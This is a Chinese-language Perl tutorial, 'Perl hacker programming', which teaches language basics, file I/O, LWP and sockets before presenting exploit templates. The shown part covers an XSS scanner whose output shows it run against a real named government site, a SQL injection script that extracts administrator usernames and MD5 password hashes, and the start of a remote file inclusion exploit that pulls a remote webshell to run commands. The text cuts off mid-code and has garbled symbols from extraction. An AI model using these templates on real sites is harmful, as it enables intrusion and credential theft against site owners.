1、Perl 黑客编程作者:riusksk(泉哥)主页:http:/邮箱:目录一Perl 简介二Windows 下的 Perl 环境 搭建三基础知识四数组五条件与循环语句六用户数据获取七文件读写八子程序九LWP 模块十套接字 Socket十一编写攻击代码(1) XSS exploit(2) SQL Injection Exploit(3) 远程文件包含(4) LFI2RCE Exploit(5) 本地溢出(6) 远程溢出十二结论一Perl 简介Perl 是Practical Extraction and Report Language 的编写,它是由 Larry Wall 设计的,主要用于UNIX
2、 环境 下编程,当然目前它也是只支持Windows 系统的,本文主要也是讲在 Windows下的 Perl 编程,并侧重于黑客安全方面。Perl 如脚本语言一般,无需经编译器来编译才能运行代码,应用起来也很简便,特别是用它来写 exploit 尤为流行。据统计,目前世界上有 70%的 exploit 是用Perl 来编写的。在国内,由安全焦点 出版的网络渗透技术一书提到的主要编程语言中,主要有 perl,c,asm 三种,书中提到在阅读此书的预备知识中就要求熟悉C,Perl,Asm,由此可见,perl 语言在国内安全方面的应用也是占有一席之地的。在国外著名漏洞公布站点 milw0rm 中,我们
3、也可以经常看到用perl 编 写的 exploit,无论是在脚本攻击中,还是在系统漏利用中,特别是在溢出攻击中,都可以经常见到它的身影。除此之外,有些安全人士也用它来编写 Fuzzing 工具,用于挖掘漏洞。另外,本文讲述的只是 Perl 语言中的冰山一角,如果读者想深入学习该语言的话,建议学习一下官方文档或者其它编程书籍。二Windows 下的 Perl 环境 搭建在开始 Perl 编程之旅之前,读者需要先下载两样工具:ActivePerl和 EditPlus。Activ ePerl是一款 Perl 解释器,可在 AIX, HP-UX, Linux, Mac OS X, Solaris 和
4、Windows 等多操作系统平台下使用,使用起来也很简便,直接双击编写好的*.pl 文件(perl 的文件格式) (这种方法可能会在未看清楚输出结果就自动关闭了,但如果你只是为了生成某个文件,就可以直接使用这种方法,比如在本地溢出利用中用于构造可触发溢出的文件)或者在 DOS 下输入如下命令即可:perl example.plEditPlus 是 Windows 下的一个简便的 Internet 32 位文本编辑器、HTML 编辑器和程序设计员的编辑器,支持 HTML、CSS 、PHP 、ASP、Perl、C/C+、Java 、JavaScript 和 VBScript 等多种语言的代码高亮显
5、示,使用者也可根据自己需要到其官方网站下载语言包去支持其它语言(如汇编语言)的代码高亮,读者可也根据自己喜好选择其它编辑器,如 Notepad+。现在我们可新建一个 example.pl:print “Hello World !n“;然后打开 DOS 进入 example.pl 文件所在目录,输入命令:perl example.pl 后,执行结果如下所示:d:perl example.plHello World!三基础知识在 Perl中,变量的定义是在变量名之前加上符号$,完成后记得加分号;例如:$x = 123;(十进制数,注意分号的使用,这跟 C 语言是相同的。 )$y = 0xff;(十
6、六进制数 )$z = -32.2;(浮点数 )$string = “ Im riusksk.n”;(对于包含空格的字符串要加双引号,是英文输入法中的双引号,而非中文的双引号。如果无空格,那么不加引号也是可以的。除此之外,单引号也是可以的,除非字符串中已经含有单引号,就像这一句就只能使用双引号了,但是使用单引号后,不能解释转义符,也就是说,如果使用了单引号,那么它就会把n 之类的转义符直接输出,而不是换行。)一些常见的转义符如下:n New Liner Returnt Tabf Form Feedb Backspacev Vertical Tabe Escapea AlarmL Lowercas
7、e Alll Lowercase NextU Uppercase Allu Uppercase First在 perl中, “#“是不为解释器所解释的,它是作为注释符来使用的,比如将以下代码保存为riusksk.pl 文件:$name = “riusksk n”; #my nameprint $name;那么运行后它会直接输出:d:perl riusksk.plriusksk现在我们将上面的代码改成:$hello = “Hello,”;$name = “riusksk!n”; #my nameprint “$hello” ”$name”;输出结果如下:d:perl riusksk.plHell
8、o,riusksk!在这里点号“ ”起到一个连接字符串的作用,在后面关于溢出 exploit 编写中,你就可以体会到它的方便之处了,而且增强了代码的易读性。接下来,我们讲讲关于操作符方面的知识。算术操作符主要有:+(加 )、 -(减 )、 *(乘 )、 /(除 )、 *(乘 幂 )、 %(取 余 )、 -(单 目 负 )。整数比较操作符主要有:(大于) 、=(等于) 、= (大于等于 )、!= (不等于)、 (比较,返回 1,0,或者-1)。字符串比较操作符主要有:lt (小于)、gt (大于)、eq(等于 )、le (小于等于) 、ge (大于等于)、ne (不等于)、cmp (比较,返回
9、1,0,或者-1)。下面我们实例操作一下,以巩固知识。输入以下代码并保存为riusksk.pl:$a = 1+2;$b = 4-3;$c = 5*6;$d = 6/2;$e = 21;$f = 3!=4;$g = “A” eq “A”;$h = “A” cmp ”B”;print “$a”.”t”;print “$b”.”t”;print “$c”.”t”;print “$d”.”t”;print “$e”.”t”;print “$f”.”t”;print “$g”.”t”;print “$h”.”n”;输出结果如下:d:perl riusksk.pl3 1 30 3 1 1 1 -1四数组数
10、组是用来存储列表的,与变量不同,它允许在 perl 程序中使用一序列值,可以为任意数值,也可为空,数组变量是以字符“”开头的。为了理解它,我们需要去实践操作一下。先在riusksk.pl 中输入以下代码:hello = (Hello,World);print hello;运行后输出结果如下:d:perl riusksk.plHelloWorld在这里,我们可借助join()函数在 HelloWorld 之间加入空格,具体代码如 下:hello = (Hello,World);print join( ,hello);运行结果:d:perl riusksk.plHello World对于数组元素的
11、读取可以通过下标来实现,首个元素的下标为 0。如果读取的是不存在的元素,那么它将返回 NULL,但如果给超出数组大小的元素赋值 ,那么数组就会自动增长,原来没有的元素为 NULL。比如:hello = (“hello“,“world“);print “$hello0“.“n“;print “$hello1“.“n“;print “$hello2“.“n“;输出结果:d:perl riusksk.plhelloworldd:下面我们再讲一个函数split( )函数,主要功能是以某种字符来分割句子以转存到数组中,然后从数组中提取数据以作为他用。下面我们还是以实例进行讲解:$sentence = “
12、Hello everyone ! my name is riusksk. “;words = split(“ “, $sentence) ; #这里“ “ 也可写成/ /(中间有空格),即以空格为间隔符print join(“ “,words);输出结果:d:perl riusksk.plHello everyone ! my name is riusksk.五条件与循环语句1. 条件判断语句经典的条件判断语句莫过于 ifthen 语句了,它几乎存在于每一种编程语言中,它在 perl 中基本格式如下:if (express1) statement1elsif (express2)stateme
13、nt2else statement3例如:$name = riusksk;if ($name eq “riusksk“) print “youre riusksk.n“;elsif ($name eq “quange“) print “youre quange.n“;else print “I dont know your name !n“;输出结果为:d:perl riusksk.plyoure riusksk.2.循环语句对于循环语句,我们这里主要下面四种循环语句:while循环,until 循环,for 循环,foreach循环。(1) while循环语句格式:while (expres
14、s)statemet例如:$x = 1;while ($x perl riusksk.pl5(2)until循环语句格式:until (express)statemet例如:$y = A;until ($y ge C) $y+;print $y;输出结果:d:perl riusksk.plC(3)for 循环语句格式:for ($i=1; $i perl riusksk.pl1 2 3 4 5(4)foreach 循环格式:foreach $num (array) #num 为数组array中的元素statement 例如:array = (10,20,30,40,50);foreach $n
15、um (array) if ($num = 10)$num = 30;print join(“ “,“array“);输出结果:d:perl riusksk.pl30 20 30 40 50六用户数据获取(1)STDIN当编写 exploit的时候,我们有时需要获取用户的输入数据,比如 IP 地址,以便使程序根据用户的意图来执行相应的工作。对于这种情况,我们可以使用 STDIN(标准输入)方法来获取用户的输入数据。例如:print “Whats your name?n“;$name = ;chomp $name; #去除换行符,因为输入数据通过 STDIN 获取后会自动添加换行符nprint
16、“Hello,$name.Nice to meet you !n“;输出结果:d:perl riusksk.plWhats your name?riuskskHello,riusksk.Nice to meet you !(2)ARGV除以上方法之外,我们还可以使用ARGV。如同数组一 般,ARGV 支持用户参数,这跟C 语言中的 argv,argc 类似,在很多 perl exploit 中经常可以见到它。比如我们在对目标主机进行溢出攻击时,经常可见到像下面的指令:perl exploit .pl 127.0.0.1 3424127.0.0.1 是目标主机的 IP 地址,3424 是端口号。
17、下面我们举例讲解一下ARGV 的使用,以下代码将输入参数和保存在ARGV 数组中,而 $0 是用来代替被 perl 解释器所解释的文件名(比如 perl riusksk.pl 中$0=riusksk.pl):if (ARGV != 2) print “Usage: perl $0 n”;exit;($IP , $Port) = ARGV;print “IP Address: $IP, Port is $Port.n”;输出结果:d:perl riusksk.plUsage: perl riusksk.pl d:perl riusksk.pl 127.0.0.1 1234IP Address:1
18、27.0.0.1,Port is 1234.(3)GetOpt这里我们再讲述另一种获取用户输入数据的方法,这是一种叫做 GetOpt 的 perl 模块。请看下列代码:use Getopt:Std; #导入 GetOpt STD 模块,取消模块用 no 语句getopts (“:a:p:“, %args); #定义两个标志-a 和 -p 分别用来获取参数if (defined $argsa) #若已给标志-a 中的参数赋值,则将参数值 赋予变量$a$a = $argsa;if (defined $argsp) $p = $argsp;if (!defined $argsa or !define
19、d $argsp) #如果有一个参数未输入则输出以下语句并退出print “Usage: perl $0 -a -p n“;exit;print “IP Address: $a, Port is $p.n“;输出结果:d:perl riusksk.plUsage: perl riusksk.pl -a -p d:perl riusksk.pl a 127.0.0.1 p 1234IP Address: 127.0.0.1, Port is 1234.以上三种方法以最后一种最为常用了,常用于编写exploit 。七文件读写在编写本地溢出 exploit 时经常要构造一个可触发溢出的文件,这里就需
20、要对文件进行读写了。要对某文件进行操作需要先打开文件,打开文件的语法如下:open (fp,” filename”),其中 fp 为文件句柄,可以理解为 文件的代号,filename 是文件名,其路径可为相对路径,也可为绝对路径。例如:open(fp,”exploit.mp3”);open(fp,”c:/hacking/exploit.mp3);如果我们想创建一个不存在的文件可以使用下列语句:open (fp,”exploit.mp3”);如果打开失败,我们可以结束程序,那么以上代码可更改为:unless (open(fp,”exploit.mp3”) die (“open file fail
21、n”);成功打开文件之后,我们就可以对其进行读写了。读取文件的语法为:(1)$line=: 从文件中读 取一行数据并将其储存到变量$line 中,而且文件指针会向后移动一行。(2)array=:读取文件的所有内容并将其储存到数组array中,而且文件中的每一行(包含回车符)为array中的一个元素。写文件的语句如下:print(fp,”hellon”);对文件操作完成后,需要关闭文件:close (fp);下面我们举个例子来进行文件读写操作:if (open(fp1,“exploit.txt“) print (“create file sucessful!n“);else die(“creat
22、e file fail !n“);print fp1 (“riuskskn“.“quangen“);close (fp1);unless (open(fp2,“exploit.txt“) die (“open file failn“);array= ;print (“the content of exploit.txt : n“);print array;close (fp2);输出结果如下:d:perl riusksk.plCreate file sucessful !The content of exploit.txt :riuskskquange八子程序(1)子程序的定义方法:sub f
23、unction statement;调用时可在子程序名前加sub functionmy ($arg1,$arg2,$arg3)=array;(3)局部变量局部变量的定义方法有两种:my 和 local,其中 my 定义的变量只存在于子程序中,而 local 定义的变量不存在于主程序中,但存在于子程序及该子程序调用的子程序当中。例如:my ($name) = riusksk;local($num)= 1;九LWP 模块LWP (“Library for WWW in Perl“ 的缩写) 是一个由多个模块组成,主要用来获取网络数据的一个模块组。LWP 包含有许多模块,通过它我们就可编写 perl
24、 脚本来访问外部的 WEB 服务器上的资源了,关于 LWP各模块的更多信息可以访问以下地址获得:http:/search.cpan.org/gaas/libwww-perl/这里我们只讲 LWP:Simple 和 LWP:UserAgent 这两个模块。(1) LWP:SimpleLWP:Simple 是 LWP的一个简单程序接口,它主要有以下函数: get($url) 获取指定 URL 地址的网页内容,如果没有发生错误,get 函数返回此网页,否则,返回 undef。 head($url) 获取指定 URL 地址的页面头信息,如果成功则返回($content_ty pe, $document
25、_length, $modified_time, $expires, $server)五个变量值,即依次为内容类型,文档长度,最后更新时间,过期时间和服务器名称。 getprint($url) 获取并输出 指定 URL地址的网页内容,它返回一个状态号,比如成功将返回 200,文件没有找到将返回 404。 getstore($url,$file) 获取指定 URL 地址的网页内容并 保存在文件$file 中,返回值为也是状态号。例如:use LWP:Simple;$a=getprint(http:/);print “n“;print $a;print “n“;my ($b,$c,$d,$e,$f
26、)=head(http:/);print “$b“.“n“.“$c“.“n“.“$d“.“n“.“$e“.“n“.“$f“;getstore(http:/ #打开图片sleep(5); #延时 5 秒unlink(riusksk.jpg); #删除图片输出结果如下:D:软件perl riusksk.pl百度一下,你就知道 bodymargin:4px 0省略部分内容把百度设为主页加入百度推 广 | 搜索风云榜 | 关于百度 | About Baidu2009 Baidu 使用百度前必读 京 ICP 证030173 号 省略部分内容200text/html;charset=gb231235201
27、256476657BWS/1.0然后打开下载的图片 riusksk.jpg,接着停顿 5秒后,再将图片删除。(2) LWP:UserAgent相对 LWP:Simple 模块而言,LWP:UserAgent 模块更为复杂,功能也更为强大。它相当于一个虚拟的浏览器,使用时先创建一个 LWP:UserAgent 对象,然后再设置其相关参数,接着再创建HTTP:Request 实例,并发送请求,最后返回 HTTP:Response 对象。关于该模块更多的信息可参考以下网址:http:/search.cpan.org/gaas/libwww-perl-5.803/lib/LWP/UserAgent.p
28、m首先我们创建一个 HTTP 用户代理对象:use LWP:UserAgent;$user_agent = new LWP:UserAgent;接着,我们再利用HTTP 模块创建一个HTTP 请求,请求方式可以为 GET或者 POST:$request = new HTTP:Request(GET,http:/);还可以采用代理的方式执行 HTTP 请求:$response = $user_agent-request($request);例如以下代码:use LWP:UserAgent;$user_agent = new LWP:UserAgent;$request = new HTTP:Re
29、quest(GET,http:/);$response = $user_agent-request($request);open fp,“file.txt“;print fp $response-_content;close fp;执行结果如下:D:软件perl riusksk.plD:软件type file.txt百度一下,你就知道 bodymargin:4px 0pmargin:0;padding:省略部分内容(load,function()w.focus(),true);window.onunload=function();十套接字 Socket在编写 exploit的过程中,我们往往需
30、要进行网络通信,比如 SQL注入,远程溢出之类的攻击方式,都离不开 Internet。本节中就是讲述如何利用 perl的 IO:Socket 模块来实现 Internet 通信,以方便客户端与服务端之间的数据交互。首先创建套接字,可以使用 IO:Socket:INET 的new 方法,如下:$socket =new IO:Socket:INET (参数)用于传递的参数可以为:- PeerAddr 欲连接的主 机地址(IP/域名) 。 PeerPort 欲连接的主 机端口。 Proto 连接协议(TCP/UDP) 。 Type 连接类型, SOCK_STREAM 用于 TCP 数据流连接,SOC
31、K_DGRAM用于 UDP数据报, SOCK_SEOPACKET 用于顺序的数据包连接。 LocalAddr 欲绑定的本地地址。 LocalPort 本地端口。 Listen 队列大小(允许的客户数) ,最大值为 SOMAXCONN。 Reuse 把绑定设置为 SO_REUSEADDR。 Timeout 连接的超时值。-例如:use IO:Socket;$socket =new IO:Socket:INET(PeerAddr = http:/,PeerPort = 80,Proto = tcp,Type = SOCK_STREAM,) or die “Couldnt create client
32、.n”;建立连接后,我们就可以将数据写入服务器了,这里可以使用 print 或者 send 函数来实现写操作,如下所示:print $socket $data;或者send ($socket, $data,$flags); # $flags使用默认值0 即可。然后用 recv 函数来读取返回的数据:$respond = recv($socket,$buffe r,$length,$flags) # $flags也是使用默认值 0 即可。最后就是关闭套接字:close( $socket);十一编写攻击代码在本文的最后一部分中,我们主要以编写 exploit 代码为主,并编写了各种常见漏洞的利用模
33、板,这也是本文的重点所在,相信也是大多数人所关心的内容。(1) XSS exploit XSS(Cross Site Script)在 WEB 漏洞中是最为常见的一类漏洞,也是被攻击者广泛利用的漏洞之一。下面是一份关于 XSS Exploit 的 perl代码,我们具体来分析一下:#!/usr/bin/perluse LWP:UserAgent;use HTTP:Request;use LWP:Simple;print “tt#n“;print “tt# XSS Exploit Perl 模板 #n“;print “tt# Author: riusksk(泉哥) #n“;print “tt#
34、Blog : http:/ #n“;print “tt#n“;if (ARGV!=1) #必须提供目标网址print “ Usage : perl XssExploit.pl Hostn“;print “ Example : perl XssExploit.pl http:/n“;elsexss=(alert(xss);,alert(document.cookie);,alert(1); #这里是一些XSS 语句,你可以去收集一些常用的测试语句,以增加成功率。$host=$ARGV0; #目标网址chomp $host; #去掉字符串的换行符#下面的代码利用 XSS测试语句对网址进行循环检测f
35、oreach $evil (xss) my $url=“$host“.“$evil“; #进行跨站测试的完整的目标地址print “$url”. “:n”;my $ua = new LWP:UserAgent; #创建用户代理对象my $req=new HTTP:Request(GET,$url); #创建 HTTP 请求,请求方式为GET#采用代理的方式发送请求,并以字符串的形式将响应信息保存在变量$respond 中$respond = $ua-request($req)-as_string;#lc()函数是将字符串转换成小写字母,用于判断上面的 XSS语句是否注入成功if (index(
36、lc $respond,lc $evil) != -1)print “This site has xss vuln!n“;elseprint “ This site has not xss vuln!n“;测试结果:D:软件perl riusksk.pl# XSS Exploit Perl 模板 # Author: riusksk(泉哥) # Blog : http:/ #Usage : perl XssExploit.pl HostExample : perl XssExploit.pl http:/D:软件perl riusksk.pl http:/www.bursaonkoloji.go
37、v.tr/onkoloji/?page=# XSS Exploit Perl 模板 # Author: riusksk(泉哥) # Blog : http:/ #http:/www.bursaonkoloji.gov.tr/onkoloji/?page=alert(xss);:This site has xss vuln!http:/www.bursaonkoloji.gov.tr/onkoloji/?page=alert(document.cookie);:This site has xss vuln!http:/www.bursaonkoloji.gov.tr/onkoloji/?page
38、=alert(1):This site has xss vuln!(2) SQL Injection ExploitSQL 注入在脚本攻击中也是被广泛利用,它主要是通过注入 SQL 语句来对数据库进行查询,以获取管理员用户名及密码,大多是由于对用户所提交的数据过滤不严所致。下面我们来看看关于 SQL Injection Exploit 的编写:#!/usr/bin/perluse LWP:UserAgent;use HTTP:Request;use Getopt:Std;print “tt#n“;print “tt# SQL Injection Exploit Perl 模板 #n“;prin
39、t “tt# Author: riusksk(泉哥) #n“;print “tt# Blog : http:/ #n“;print “tt#n“;getopts(“:a:“,%args);if(defined $argsa)$url=$argsa;else print “Usage:perl $0 -a n“;exit;#下面的变量是存在漏洞的网页文件及其相应的注入语句,这个变量值视具体情况而定$bug=“/bug.php?id=9999%27union/*/select/*/concat(name,password)/*/from/*/administrators/*“;$webpage=$
40、url.$bug;$contle=length($webpage);print “Exploitingn“;$ua=new LWP:UserAgent;$ua-agent(“Mozilla/5.0 Gecko/20091016 Firefox/3.5.4“); #设置用户代理,这里是我电脑上所用的浏览器 Firefox版本$req=new HTTP:Request(POST,$webpage);$req-referer(“http:/“); #得到访问的上一页的 Url 地址,这里我把它设置成我的博客网址$req-content_type(“application/x-www-from-url
41、encoded“); #客户端发送的内容的数据类型$req-header(“content-length“ = $contlen); #客户端发送的内容的长度$req-content($webpage); #发送的内容$response=$ua-request($req); #发送代理请求$content=$response-content; #返回 HTTP body 的内容#这句正则表达式需根据具体漏洞的情况而定,主要以用户名旁边的关键字为参照if($content= /(.*?)/) #对与的数据进行匹配,也可同时配合 split 进行查找$username = $1;print “Us
42、ername : $usernamen“; elseprint “Get Username Fail!n“;#如果返回的数据中含有32 位数据,并且是由 0-9a-fA-F 之间的数据组成的,那么就可能是MD5 加密的密码if ($content =/(0-9a-fA-F32)/)$Md5pass = $1;print “Md5 Password : $Md5passn“;elseprint “Get Password Fail!n“;(3) 远程文件包含远程文件包含属于 PHP 中的高危漏洞,攻击者可利用它加载远程文件到 PHP WEB 页面,并以此来执行恶意代码。#!/usr/bin/pe
43、rluse LWP:UserAgent;use HTTP:Request;if (!($ARGV1) print “tt#n“;print “tt# Remote File Include Exploit Perl 模板 #n“;print “tt# Author: riusksk(泉哥) #n“;print “tt# Blog : http:/ #n“;print “tt#n“;print “Usage : perl $0 n“;print “Example : perl $0 http:/ http:/ cmdn“;exit;#其中的 hack.txt 的内容可为: 等一句话木马my $host=$ARGV0;my $shellurl=$ARGV1;if (!($ARGV2) print “Please Enter Your Cmd:“;chomp (my $cmd= );elsemy $cmd=$ARGV2;if ($cmd eq “exit“ | $cmd eq “quit“) exit(